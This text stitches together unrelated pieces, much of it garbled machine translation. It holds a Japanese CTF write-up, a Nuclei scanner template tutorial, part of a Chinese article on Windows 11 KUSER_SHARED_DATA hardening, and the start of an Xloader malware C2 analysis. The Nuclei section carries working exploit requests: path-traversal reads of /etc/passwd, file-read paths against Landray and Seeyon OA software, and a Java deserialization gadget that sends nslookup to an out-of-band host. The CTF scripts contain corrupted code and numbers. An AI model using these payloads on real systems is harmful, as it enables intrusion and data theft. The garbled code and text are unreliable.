c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

#指数のモジュラスが実際にr ** 4であると仮定すると

n=r ** 4

#emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります

#RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n)

#ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません

phi_n=r ** 4 -r ** 3

d=inverse(e、phi_n)

#メッセージを復号化します

m=pow(c、d、n)

#番号をバイトに変換します

メッセージ=long_to_bytes(m)

印刷(メッセージ)

#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}

4. バックパック

BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化

#!/usr/bin/env python3

# - * - coding: utf-8-* -

sage.allからimport *

秘密のインポートフラグから

crypto.util.Numberインポートから *

数学からインポートlog2から

クラスナープサック:

def __init __(self、n、m):

self.m=[]

self.n=n

self.m=self.pre(m)

self.a=0

self.b=0

def pre(self、m):

tmp_m=bin(m)[2:]

t=[]

TMP_M:のTMPの場合

T.Append(int(tmp))

tを返します

def get_m(self):

seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)]

self.m=seq

def calc_denity(self):

t=log2(max(self.m))

d=self.n/t

印刷(d)

def enc(self):

self.get_m()

self.calc_dences()

c=0

範囲のt(len(self.m)):

c +=self.m [t] * self.m [t]

印刷(f'c={c} ')

print(f'm={self.m} ')

__NAME __=='__ Main __' :の場合

m=bytes_to_long(flag.encode())

n=m.bit_length()

k=ナップサック(n、m)

k.enc()

#c=231282844744

#M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]

Sagemathで実行:

crypto.util.Number inmort long_to_bytesから

C=231282844744

M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、

23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、

33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、

31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、

30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、

21108080920]

l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。

L:の行

row [-1]==0およびlen(set(row [:-1]))==1:の場合

#最後の要素を除くすべての要素が同じであると仮定すると同じです

ans=[abs(i)in ow in ow in [:-1]]

ans=int( ''。join(map(str、ans))、2)

print(long_to_bytes(ans))

5. ターゲットを絞ったデータ収集

OpenPyxlをインポートします

リクエストをインポートします

インポート時間

urllib.parseインポートurlencodeから

burp0_url='http://121.40.65.125:23328/submit'

Def devery_name_and_id(input_file、output_file):

wb=openpyxl.load_workbook(input_file)

ws=wb.active

ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合

行[0] :の場合

名前、id_number=row [0] .split( '----')#extrame name and Identityカード

印刷(名前、id_number)

Age=2024-int(id_number [6:10])

if(int(id_number [10:12])4):

年齢- =1

sexx=u'male '

burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}

sexx2=u'female '

burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}

try:

r0=requests.post(burp0_url、json=burp0_json)

r1=requests.post(burp0_url、json=burp0_json1)

print(r0.request.body)

print(r0.text、r1.text)

#time.sleep(0.5)

requests.exceptions:を除く

print( 'err')

#time.sleep(2)

#ws.append([name.strip()、id_number.strip()])

#wb.save(output_file)

wb.close()

__name__=='__main __' :の場合

input_file='data1.xlsx'

output_file='deprosed_data.xlsx' #Noの使用、破棄されます

devery_name_and_id(input_file、output_file)

6. 天気

レビューbundle.js

image-20240428213212351

image-20240428213230335

アクセスするパラメーターを取得します

Image

7.mysqlクリーンアップ

ヒント:

要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123)

( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。

( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 ');

userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 ');

テーブルを再構築し、削除後に残りのデータをクリアします

Alter Tableユーザーエンジン=innodb;

Alter Table userlog Engine=innodb;

Table TransactionHistory Engine=Innodbを変更します。

Alter Table ShopphingCart Engine=Innodb;

Alter Table Orders Engine=Innodb;

image-20240428213639377

8. ファントムスクエア

第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください

Hashlibをインポートします

ランダムをインポートします

文字列をインポートします

#文字セットを英数字として定義します

charset=string.ascii_letters + string.digits

true:

#チャーセットからランダムな4文字列を生成します

rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud'

#文字列のSHA-256ハッシュを計算します

hash_output=hashlib.sha256(rand_str.encode())。hexdigest()

#ハッシュがターゲットハッシュと一致するかどうかを確認します

hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合

print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します

壊す

'' '

[2、7、6、9、5、1、4、3、8]

[2、9、4、7、5、3、6、1、8]

[4、3、8、9、5、1、2、7、6]

[4、9、2、3、5、7、8、1、6]

[6、1、8、7、5、3、2、9、4]

[6、7、2、1、5、9、8、3、4]

[8、1、6、3、5、7、4、9、2]

[8、3、4、1、5、9、6、7、2]

4 3 8

9 5 1

2 7 6

'' '

image-20240428214506459

1。スクリプトの構文形式

ケース感度

インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。

キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。

リスト:短い水平線を使用して、リスト内のアイテムを表します。

コメント:#から始まる行はコメントです。

文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。

IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。

情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。

名前:テンプレート名、この提案はIDと同じです

重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。

説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。

タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。

私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。

試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます

2。一般的な核コマンド

1。テンプレート形式を確認します

Nuclei -T test.yaml -validate

2.テンプレートとターゲットを指定します

Nuclei -T test.yaml -u http://exam.com

3。バッチスキャン

Nuclei -T test.yaml -l Target.txt

4. Socks5プロキシスキャンを指定します

Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890

3。スクリプトの例

ID:ファイルインクルード#テンプレートの一意の識別子

info:#名前、著者、バージョンなど、テンプレートの基本情報。

name:ファイルには、スクリプトの名前が含まれています

著者: bakclion #template著者

severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です

説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ

Reference: http://www.baidu.com #Reference Source

tags:テスト#categoryタグ

requests:#ターゲットと対話する方法のリクエストセクションを定義します

-Method: getやpostなどの#httpメソッドを取得する

PATH: #requested Path

- '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd'

Headers: #Requestヘッダー

user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36'

Matchers:

-Type:ステータス#マッチバックパックステータス

Status:

-200

-Type: REGEX #Match戻りコンテンツ

パート:ボディ

regex:

- 'root:x:0:0:root3360/root3360/bin/bash'

iv。スクリプト構成

1。開始

id: landray-oa-fileread

info:

name: landray-oa-fileread

著者:バックライオン

重大度:高

説明: |

lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です

fofa: app='landray-oa system'

Reference: https://github.com/backslion

tags: fileread、landray

2.request

を取得します

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'

post

requests:

-Method:投稿

PATH:

- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'

Headers:

Content-Type:アプリケーション/x-www-form-urlencoded

body: 'var={' body': {'file':'file: ///etc/passwd'}} '

raw

requests:

-Raw:

- |

post /spirit/interface/gateway.php http/1.1

host: {{hostname}}

Content-Type:アプリケーション/x-www-form-urlencoded

json={'url':'/general /././mysql5/my.ini '}

ジャンプ

-method: get

PATH:

- '{{baseurl}}'

Redirects: True

max-redirects: 2

または

リクエスト:

-Raw:

- |

get/zentao/api-getmodel-editor-save-filepath=bote http/1.1

Redirects: True

max-redirects: 3

パス

リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。

{{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。

{{randstr}}:これはランダムな文字列です。

{{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。

{{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。

{{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。

{{host}}:example.comなどのホスト名を表します。

{{port}}:ポート番号、たとえば443を示します。

{{path}}: /seeyon /loginなどのパスを表します。

{{file}}:bar.phpなどのファイル名を表します。

{{Scheme}}:HTTPSなどのプロトコルを表します。

{{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。

MD5():これは、MD5によって変換された予約された単語です

変数値

{{baseurl}} https://example.com:443/foo/bar.php

{{rooturl}} https://example.com:443

{{hostname}} example.com:443

{{host}} example.com

{{port}} 443

{{path}} /foo

{{file}} bar.php

{{Scheme}} https

一撃の停止

一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}'

- '{{baseurl}}/login'

- '{{baseurl}}/main'

- '{{baseurl}}/index'

Stop-at-first-match: true

oob

Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。

リクエスト:

-Raw:

- |

get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1

host: {{hostname}}

Java Deserialization

raw:

- |

post /index.faces; jsessionid=x http /1.1

host: {{hostname}}

Accept-Encoding: gzip、deflate

Content-Length: 1882

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}}

3.Matcher

Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています

Matchers:

-Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL

DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice

- 'status_code_1==200 status_code_2==302'

- 'all_headers_1==' admin 'all_headers_2==' index ''

condition:と#need上記の2つの条件を同時に満たす

-Type:ワード

Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。

- 「admin.php」

- '61646D696E2E706870'

- '{{match_str}}'

Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex

#次の設定は基本的に一般的です(!注:DSLタイプを除く)

PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。

条件:または#match結果論理操作と| or

ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false

-Type:ステータス

Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています

-200

-Type: REGEX

regex:#Stringsliceを一致させるデータの規則性を使用します

- '。*\ admin.php。*'

-Type:バイナリ

binary: #sistingsliceを一致させるデータのバイナリを使用します

- '61646D696E2E706870'

-Type:サイズ

size: #returnパケットデータサイズ(注:ボディデータを参照)intslice

-1234

DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。

変数名説明例出力データContent_Length

コンテンツ長ヘッダー

content_length

12345

status_code

応答ステータスコード

status_code

200

all_headers

ヘッダー情報に戻ります

身体情報を返します

body_1

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

user_agent

xxxx

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

set_cookie

xxx=

在本文中,我們將為讀者詳細介紹在Windows 11內部預覽版中,KUSER_SHARED_DATA結構體發生了哪些新變化。下面,我們開始進入本文的下篇部分!

(接上文)

知道了這些,我們就會明白:在調用nt!MiReservePtes之前,就可以計算出對應於“靜態”的KUSER_SHARED_DATA的PFN數據庫的適當索引。這實質上意味著我們正在從PFN數據庫中檢索相應PFN記錄(一個MMPFN結構)的虛擬地址。

我們可以把它看作是PFN數據庫的基址,在本例中是0xffffc38000000000,它參與了相關操作。而最終的虛擬地址0xffffc380002df8a0(與“靜態”KUSER_SHARED_DATA關聯的PFN記錄的虛擬地址)可以在下面的RBP中看到。將來,它將用作nt!MiMakeProtectionPfnCompatible函數調用的第二個參數。

1.png

我們可以通過將上述虛擬地址解析為MMPFN結構體來驗證這一點,以查看PteAddress成員是否對應於“靜態”KUSER_SHARED_DATA的已知PTE。我們知道,PTE位於0xffffb7fbc0000000。

1.png

由於PFN結構體的PteAddress成員與“靜態”KUSER_SHARED_DATA關聯的PTE的虛擬地址是對齊的,這說明它就是與“靜態”KUSER_SHARED_DATA關聯的PFN記錄。

然後,這個值被用於對nt!MiReservePtes的調用,我們可以通過前面的兩張圖來確認這一點。根據__FastCall調用約定,該函數的第一個參數將進入RCX寄存器。這個參數實際上是一個nt!_MI_SYSTEM_PTE_TYPE結構體。

根據CodeMachine的文章來看,當對nt!MiReservePtes的調用發生時,這個結構體被用來定義如何進行內存分配,以便為正在創建的PTE預留內存。當用nt!MiReservePtes請求分配內存時,可能暗示了從系統PTE區域分配一塊虛擬內存。系統PTE區域被用於內存的映射視圖、內存描述符列表(MDL)和其他內容。有了這一信息,結合我們對兩個虛擬地址是如何被映射到同一物理內存頁的了解,就能確定:系統正在使用內存的不同'視圖'(例如,兩個虛擬地址對應一個物理地址,所以,儘管兩個虛擬地址包含相同的內容,但可能具有不同的權限)。此外,我們可以確認分配的內存來自系統PTE區域,因為nt!_MI_SYSTEM_PTE_TYPE結構體的VaType成員被設置為9,這是一個與MiVaSystemPtes對應的枚舉值。這意味著,在這種情況下,分配的內存將來自系統PTE的內存區域。

1.png

我們可以看到:在調用發生後,返回值是一個內核模式的地址,位於系統PTE區域的同一地址空間內,並且是由BasePte成員定義的。

1.png

此時,OS基本上已經以未填充的PTE結構體的形式從系統PTE區域分配了內存,該區域通常用於映射內存的多個視圖。下一步將是正確配置該PTE,並將其分配給一個內存地址。

之後,將繼續調用nt!MiMakeProtectionPfnCompatible。如前所述,該函數的第二個參數將是來自PFN數據庫的PFN記錄的虛擬地址,該記錄與應用於“靜態”KUSER_SHARED_DATA的PTE相關聯。

傳遞給nt!MiMakeProtectionPfnCompatible的第一個參數是常數4。這個價值從何而來?看一下ReactOS,我們可以看到兩個常數,它們用於描述PTE強制執行的內存權限。

1.png

根據ReactOS的說法,還有一個名為MI_MAKE_HARDWARE_PTE_KERNEL的函數,也利用了這些常數;其原型和定義可以在下文中看到。

1.png

該函數提供了nt!MiMakeProtectionPfnCompatible和nt!MiMakeValidPte(稍後將看到的函數)所公開的功能的組合。而值4或MM_READWRITE實際上是名為MmProtectTopTemask的數組的索引。該數組負責將請求的頁面權限(4,或MM_READWRITE)轉換為與PTE兼容的掩碼。

1.png

我們可以看到,前五個元素為:{0,PTE_READONLY,PTE_EXECUTE,PTE_EXECUTE_READ,PTE_READWRITE}。從這裡我們可以確認,以4作為下標訪問這個數組,就能訪問PTE_READWRITE的PTE掩碼,這正是nt!MmWriteableSharedUserData所期望的內存權限,因為我們知道:這應該是KUSER_SHARED_DATA的“新映射視圖”,它是可寫的。同時,別忘了:與“靜態”KUSER_SHARED_DATA關聯的PFN記錄的虛擬地址是通過RDX在函數調用中使用的。

1.png

在函數調用之後,返回值是一個“與PTE兼容”的掩碼,它表示一個可讀和可寫的內存頁面。

1.png

到目前為止,我們已經掌握了:

1、當前為空的PTE地址;

2、PTE的“骨架”(例如,可提供可讀/可寫的掩碼)

考慮到這一點,現在讓我們將注意力轉向對nt!MiMakeValidPte的調用。

1.png

nt!MiMakeValidPte實際上提供了前面所說的ReactOS函數MI_MAKE_HARDWARE_PTE_KERNEL的“其餘”功能。並且,nt!MiMakeValiePte需要以下信息:

1、 新創建的空PTE的地址(這個PTE將被應用到nt!MmWriteableUserSharedData的虛擬地址);目前這個地址位於RCX中。

2、 一個PFN;目前位於RDX中(例如,不是來自PFN數據庫的虛擬地址,而是原始的PFN“值”)。

3、 一個“兼容PTE的”掩碼(例如,我們的讀/寫屬性);目前位於R8中。

所有這些信息都可以在下面的屏幕截圖中看到。

就“將同一物理內存映射到不同視圖”而言,這裡最重要的組成部分是RDX中的值,它是KUSER_SHARED_DATA的實際PFN值(原始值,而不是虛擬地址)。讓我們首先回憶一下,PFN乘以一個頁面的大小(0x1000字節,或4KB)後,實際上就是一個物理地址。這是真的,特別是在我們的案例中,因為我們正在處理最細化的內存類型:4KB對齊的內存塊。由於沒有更多的分頁結構需要索引——這是PFN最常見的用途,因此,這就意味著:在這種情況下,PFN將被用來獲取最終的、4KB對齊的內存頁。

我們知道,這其實就是在正在執行的函數(nt!MiProtectSharedUserPage)裡面創建了一個PTE(通過nt!MiReservePtes和nt!MiMakeValidPte)。正如我們所知,這個PTE將被應用於一個虛擬地址,並用於將所述虛擬地址映射到一個物理頁面,本質上是通過與PTE相關的PFN實現的。目前,將用於這種映射的PFN被存儲在RDX中。在較低的水平上,RDX中的這個值乘以一個頁面的大小(4KB),就是虛擬地址被映射到的實際物理頁面。

有趣的是,RDX中的這個值(在第二次調用nt!MI_READ_PTE_LOCK_FREE後保留下來的值),就是與KUSER_SHARED_DATA相關的PFN! 換句話說,我們給這個新創建的PTE分配的虛擬地址(最終應該是nt!MmWriteableUserSharedData)將映射到KUSER_SHARED_DATA結構體所在的物理內存,因此,當nt!MmWriteableUserSharedData的內容被更新時,該物理內存也將被更新。由於“靜態”的KUSER_SHARED_DATA(0xfffff78000000000)也位於相同的物理內存中,它也會隨之更新。實際上,即使只讀的“靜態”KUSER_SHARED_DATA不允許執行寫操作,它仍然會收到nt!MmWriteableUserSharedData的更新,也就是說:它是可讀和可寫的。這是因為這兩個虛擬地址都會映射到同一個物理內存,所以,只要對其中一個執行寫操作,另一個也會隨之發生變化!

既然如此,也就沒有很好的理由讓“正常的”KUSER_SHARED_DATA結構地址(例如0xfffff78000000000)不是只讀的,因為現在有另一個內存地址可以用來代替它。這樣做的好處是,可寫的“版本”或“映射”(即nt!MmWriteableUserSharedData)是隨機的!

現在繼續,我們告訴操作系統:我們需要一個有效的、可讀和可寫的PTE,它由KUSER_SHARED_DATA的PFN(用於所有意圖和目的的物理地址)提供支持,並且將被寫入我們已經從系統PTE區域分配的PTE(因為這個內存用於映射“視圖”)。

在執行該函數後,我們可以看到情況就是這樣的!

1.png

下一個函數調用nt!MiPteInShadowRange實際上只是進行邊界檢查,看看我們的PTE是否位於影子空間中。回想一下前面的內容,對於內核虛擬地址影子(KVAS)的實現來說,分頁結構是獨立的:一組用於用戶模式,一組用於內核模式。通常來說,“影子空間”(也稱為用於用戶模式尋址的結構體)是位於nt!MiPteInShadowRange的檢查範圍內的。不過,由於我們處理的是一個內核模式頁面,因此,它所對應的PTE肯定不在“影子空間”內。就我們的目的而言,這並不是我們真正感興趣的東西。

在這個函數調用之後,將會執行mov qword ptr[rdi],rbx指令。這將使用nt!MiMakeValidPte函數所創建的相應位,來更新我們分配的PTE(它之前是空白的)!這樣,我們就得到了一個有效的PTE,並被保存到位於虛擬地址0xFFFF78000000000處的KUSER_SHARED_DATA所在的同一段物理內存中!

1.png

1.png

此時,我們離目標符號nt!MmWriteableUserSharedData僅有幾條指令,該符號剛才用新的ASLR映射的KUser_Shared_Data視圖進行了更新。然後,就可以將“靜態”KUSER_SHARED_DATA設為只讀(回想一下,在加載時,它還是可讀/寫的!)。

1.png

目前,通過RDI,我們就能得到用於新的、可讀/寫的PTE的地址和KUSER_SHARED_DATA的隨機映射視圖(通過nt!MiReservePtes生成)。上面的截圖顯示,會對RDI執行一些位運算,同時,我們可以看到頁表項的基址也會參與運算。這些都是簡單的編譯器優化,用於將一個給定的PTE轉換為PTE所應用的虛擬地址。

這是一個必要的步驟,回顧一下,到此為止,我們已經成功地從系統PTE區域生成了一個PTE,並將其標記為讀/寫,告訴它使用“靜態”的KUSER_SHARED_DATA作為虛擬內存對應的物理內存,但是我們並沒有將其實際應用於虛擬內存地址,該地址將由這個PTE來描述和映射!我們要應用這個PTE的虛擬地址,將是我們要存儲在nt!MmWriteableUserSharedData中的值!

讓我們再次回顧一下把新的PTE轉換為相應虛擬地址的位運算。

1.png

正如我們所知,RDI寄存器存放的就是目標PTE的地址。同時我們還知道,檢索與給定虛擬地址相關的PTE的步驟如下所示(即通過適當的索引訪問PTE數組):

1、 通過將虛擬地址除以一個頁面的大小(在標準Window系統上為0x1000字節),將虛擬地址轉換成虛擬頁面號(VPN)。

2、 用上述數值乘以PTE的大小(在64位系統上為0x8字節)。

3、 把這個值加到頁表條目數組的基址上。

這相當於以PteBaseArray[VPN]方式來訪問PTE數組。由於我們知道如何從虛擬地址轉換為PTE,因此,只要將這些步驟倒過來,就能檢索與給定PTE相關的虛擬地址。

知道PTE後,“反轉”過程如下所示:

1、 將RDI中的PTE(目標PTE)減去PTE數組的基址,以提取PTE數組的索引;

2、 用這個值除以PTE的大小(0x8字節)來獲取虛擬頁面號(VPN);

3、 用這個值乘以一個頁面的大小(0x1000)來檢索虛擬地址。

我們還知道編譯器會生成一條sar rdi,10H指令,對上述步驟生成的值進行算術右移,注意,這個過程其符號並不會發生變化。如果在WinDbg中復現這個過程,我們可以看到,最終值(0x0000A580A4002000)將轉換為地址0xFFFFA580A4002000。

1.png

將計算得到的值與內核生成的值進行比較,我們可以看到,它就是對應於PTE的虛擬地址,該地址將映射到KUSER_SHARED_DATA所在的物理內存,並且兩個地址最多匹配到0xffffa580a4002000!我們可以斷定,這些位運算屬於將PTE轉換為虛擬地址的宏的一部分,這是編譯器優化過的代碼!

1.png

1.png

該功能在ReactOS中以名為mi_write_valid_pte的函數形式提供。正如我們所看到的,它本質上不僅將PTE內容寫入PTE地址(在本例中是通過nt!MiReservePtes從系統PTE區域分配內存),而且還通過函數miptetoaddress獲取與PTE相關聯的虛擬地址。

1.png

太棒了!但是,我們還需要做最後一件事,那就是將“靜態”KUSER_SHARED_DATA的地址轉換為只讀的。我們已經看到,當前正在排隊等待調用nt!MiMakeProtectionPfnCompatible函數。在保存內存權限常量的RCX中,我們可以看到其值為1,或者MM_READONLY的值——還記得之前為KUSER_SHARED_DATA的讀/寫映射創建的兼容PTE的掩碼嗎?換句話說,該頁面所擁有的唯一內存“權限”,就是讀取。

在RDX中,存放的是我們對PFN數組的索引;通過將'靜態'KUSER_SHARED_DATA的PTE的虛擬地址(位於0xffffb7fbc000000的PTE)與位於PFN結構MMPFN中的PTE進行比較,我們可以確定:我們已經得到了與'靜態'KUSER_SHARED_DATA相關聯的PFN,從而得到了一個與PTE兼容的值。

1.png

1.png

與上次一樣,現在只是有了一個只讀頁面,我們還需調用nt!MiMakeValidPte,通過其PTE的虛擬地址(0xFFFFB7C000000000)為“靜態”KUSER_SHARED_DATA分配只讀權限。

1.png

調用成功後,會生成一個PTE,以用於只讀頁面。

1.png

“靜態”KUSER_SHARED_DATA結構體也是通過前面提到的相同方法(ReactOS中提供的方法稱為MI_WRITE_VALID_PTE)進行更新的。

1.png

就我們的目的而言,對於nt!MiProtectSharedUserPage所做的各種事情,我們感興趣的就是這些!我們現在有兩個虛擬地址都映射到KUSER_SHARED_DATA所在的物理內存(一個地址是只讀的,對應於0xfffff78000000000處的'靜態'KUSER_SHARED_DATA結構體,另一個則對應於新的nt!MmWriteableUserSharedData版本,它是隨機化的,並且是可讀/寫的)!

例如,我們現在可以在IDA中看到,KUSER_SHARED_DATA的更新過程,是通過隨機化和可寫的新符號來完成的。下圖取自nt!KiUpdateTime,在這裡我們可以看到KUSER_SHARED_DATA的幾個偏移量被更新了(即變為0x328和0x320)。同樣,在同一張圖中,我們還可以看到,當讀取來自KUSER_SHARED_DATA的成員時,Windows將使用舊的“靜態”硬編碼地址(在本例中,它們是0xfffff78000000008和0xfffff78000000320)。

1.png

小結很明顯,濫用這個代碼洞的原語已不可用,之前被攻擊者利用的靜態結構體現在已經得到了安全加固。然而,對於如今的漏洞利用過程來說,要想實現代碼執行,必須首先設法繞過kASLR機制——儘管這不是非常困難,但是,如果攻擊者無法繞過kASLR,就無法將代碼寫入內存。不言而喻,如果攻擊者能夠在內核加載過程中通過競態條件或其他原語儘早將代碼寫入內存,比如將代碼寫入靜態的0xfffff78000000000+0x800處的KUSER_SHARED_DATA代碼洞中,就能繞過這個障礙,因為我們知道:當內核第一次被映射到內存時,這個結構體仍然是可讀和可寫的。然而,當內核加載完成後,這個區域將變成只讀的。但是,儘管如此,這仍然是可能的,因為初始化發生在內核加載過程中。實際上,有一些已公開的exploit就是利用了這個原語,例如chompie1337的SMBGhost概念驗證就是如此,所以,作為防禦方,不僅需要提高攻擊者的門檻,還需要了解公開exploit的最新動向。雖然本文介紹的內容是一個相當小眾的變動/緩解措施,但我認為它非常有趣,至少在此過程中學到了很多關於系統PTE區域和內存視圖的知識。

如果您有任何意見、疑問、更正或建議,請隨時聯繫我。

最後,祝大家閱讀愉快!

Xloader 是一種信息竊取惡意軟件,是Formbook 的迭代版本,自2016 年初以來一直在黑客論壇上被出售。 2020 年10 月,Formbook 更名為Xloader,並進行了一些重大改進,特別是與命令和控制(C2)網絡加密相關的改進。隨著Xloader的到來,惡意軟件的開發者也停止了出售面板的代碼和惡意軟件的可執行文件。當出售Formbook時,一個基於web的命令和控制(C2)面板被提供給客戶,以便他們可以自行管理自己的殭屍網絡。 2017 年,Formbook 的面板源被洩露,隨後,Xloader 背後的攻擊者轉向了不同的商業模式。 Xloader C2基礎設施不是傳播一個功能齊全的犯罪軟件套件,而是出租給客戶。這種“惡意軟件即服務”(MaaS)的商業模式可能更有利可圖,並使竊取變得更加困難。

Xloader的功能包括:

從網絡瀏覽器和其他應用程序竊取憑證;

捕獲按鍵信息;

螢幕截圖;

竊取存儲的密碼;

下載並執行其他二進製文件;

執行命令;

之前的文章已經分析了Formbook 和Xloader 混淆的各個方面。在這篇文章中,我們對Xloader 的C2 網絡加密和通信協議進行了詳細的分析。請注意,Xloader 是跨平台的,能夠在Microsoft Windows 和MacOS 上運行。此分析專門針對Windows 版本的Xloader。

技術分析Xloader 和Formbook 使用HTTP 與C2 服務器通信。 HTTP GET 查詢作為一種註冊形式發送。之後,惡意軟件向C2 發出HTTP POST 請求,以竊取屏幕截圖、被盜數據等信息。在這兩種情況下,GET 參數和POST 數據共享相似的格式並被加密,如下圖所示,我們將解釋以下部分中的加密算法。

1.png

Xloader C2 通信捕獲

誘餌和真實的C2服務器在整個Xloader惡意軟件有多個結構的加密塊的數據和代碼,這些塊旨在通過使用函數序言push ebp 和mov ebp, esp 的彙編指令來混淆惡意軟件分析人員和反彙編程序,如下圖所示。我們將這些結構命名為PUSHEBP 加密塊。這些塊使用基於RC4 的算法結合編碼層和自定義虛擬機(VM) 進行解密。

2.png

Xloader PUSHEBP 加密塊

